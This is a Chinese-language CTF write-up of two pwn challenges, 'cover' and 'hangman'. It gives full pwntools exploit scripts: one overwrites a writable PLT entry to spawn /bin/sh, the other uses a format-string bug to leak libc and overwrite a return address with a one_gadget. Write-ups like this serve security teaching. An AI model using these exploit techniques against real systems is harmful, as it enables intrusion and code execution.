呃这次比赛呢感觉打的不是很好,主要还是菜,格式化字符串的题一开始思路想歪了,做成了在bss段的打法,导致后来时间都花在了调试上,最后在本地调到了差半个字节但是远程一直EOF……
cover
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int __cdecl main() { _BYTE *buf; int n; int v3; int v4; int v5; unsigned int v6;
v6 = __readgsdword(0x14u); sub_804862B(); buf = 0; n = 0; v3 = 0; v4 = 0; v5 = 0; printf("Try use a bullet to pwn this%s\n", (const char *)&buf); read(0, &buf, 5u); if ( (int)buf > (int)"ou launch the bullet, and... What's your name?%c\n" ) { printf("%p is too big...\n", buf); exit(0); } *buf = n; printf("OK,you launch the bullet, and... What's your name?%c\n", SHIBYTE(v5)); read(0, &buf, 0xAu); puts((const char *)&buf); return 0; }
|
1 2 3 4
| -00000021 db ? ; undefined -00000020 buf dd ? -0000001C n dd ? -00000018 var_18 dd ?
|
思路
第一次可以输入5个字节,buf需要小于0x08048888,第五个字节溢出到n。接下来会以buf为指针赋值n,然后再输入一次buf,执行puts(&buf)
1
| mprotect(&dword_8048000, 0x8888u, 7);
|
1 2 3 4 5
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000 0x8049000 rwxp 1000 0 /home/ayoung/Desktop/BlueHat/xianxia/cover/pwn 0x8049000 0x804b000 rwxp 2000 0 /home/ayoung/Desktop/BlueHat/xianxia/cover/pwn 0xf7e00000 0xf7e01000 rw-p 1000 0
|
由于使用了mprotect,plt可写
于是可以通过修改puts的plt表,在push参数时改成0x30,就会解析出system函数的地址。配合输入/bin/sh即可

exp
1 2 3 4 5 6
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./pwn') r.send(p32(0x80484d7)+'\x30') r.send('/bin/sh\x00') r.interactive()
|
hangman
位于栈上的格式化字符串
栈上的话可以方便地实现任意写,把想写的地址输到栈上,让%?$hhn指向该地址即可
题目
一共四次触发格式化字符串的机会
每次要求先输入一个字符串
然后最多六次输入字符的机会
每次输入的字符在字符串中个数累加起来记为tot
当tot和字符串长度相等时触发格式化字符串
思路
先泄露libc基址和rbp(rbp用来计算返回地址处的地址)
后分别写入一个字节修改返回地址为onegadget
细节
- 输入字符串的时候调好偏移使布置的地址恰好位于15偏移处
- 手动输入一个
\x00截断字符串,避免后面奇怪的字符的干扰
- 由于每次需要写入的offset不一定,造成字符串长度不一定,所以需要多尝试几次,不能保证每次都打通
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./pwn')
libc = ELF('./libc-2.23.so')
r.recvuntil('Enter a word:') r.sendline('%29$p#####%24$p') r.recvuntil('Guess a letter:') r.sendline('#') r.sendline('#') r.sendline('#')
r.recvuntil('Guess a letter:0x') data = int(r.recv(12),16) print hex(data) libc_base = data-0x020840 print 'libc_base ===> ',hex(libc_base) one = [0x45226, 0x4527a, 0xf03a4, 0xf1247] one_gadget = libc_base+one[0] print hex(one_gadget) r.recvuntil('0x') stack = int(r.recv(12),16)+0x8 print 'stack ===> ',hex(stack)
offset1 = one_gadget&0xff offset2 = one_gadget>>8&0xff offset3 = one_gadget>>16&0xff
r.recvuntil('Enter a word:') payload = '%'+str(offset1)+'c'+'%15$hhn' payload+= 'AAAAA' payload+= 'BBBBBBB\x00' payload+= p64(stack) r.sendline(payload) r.recvuntil('Guess a letter:') r.sendline('B') r.sendline('B') r.sendline('B') r.sendline('%')
r.recvuntil('Enter a word:') payload = '%'+str(offset2)+'c'+'%15$hhn' payload+= 'AAAAA' payload+= 'BBBBBBB\x00' payload+= p64(stack+1) r.sendline(payload) r.recvuntil('Guess a letter:') r.sendline('B') r.sendline('B') r.sendline('B') r.sendline('%')
r.recvuntil('Enter a word:') payload = '%'+str(offset3)+'c'+'%15$hhn' payload+= 'AAAAA' payload+= 'BBBBBBB\x00' payload+= p64(stack+2) r.sendline(payload) r.recvuntil('Guess a letter:') r.sendline('B') r.sendline('B') r.sendline('B') r.sendline('%')
r.interactive()
|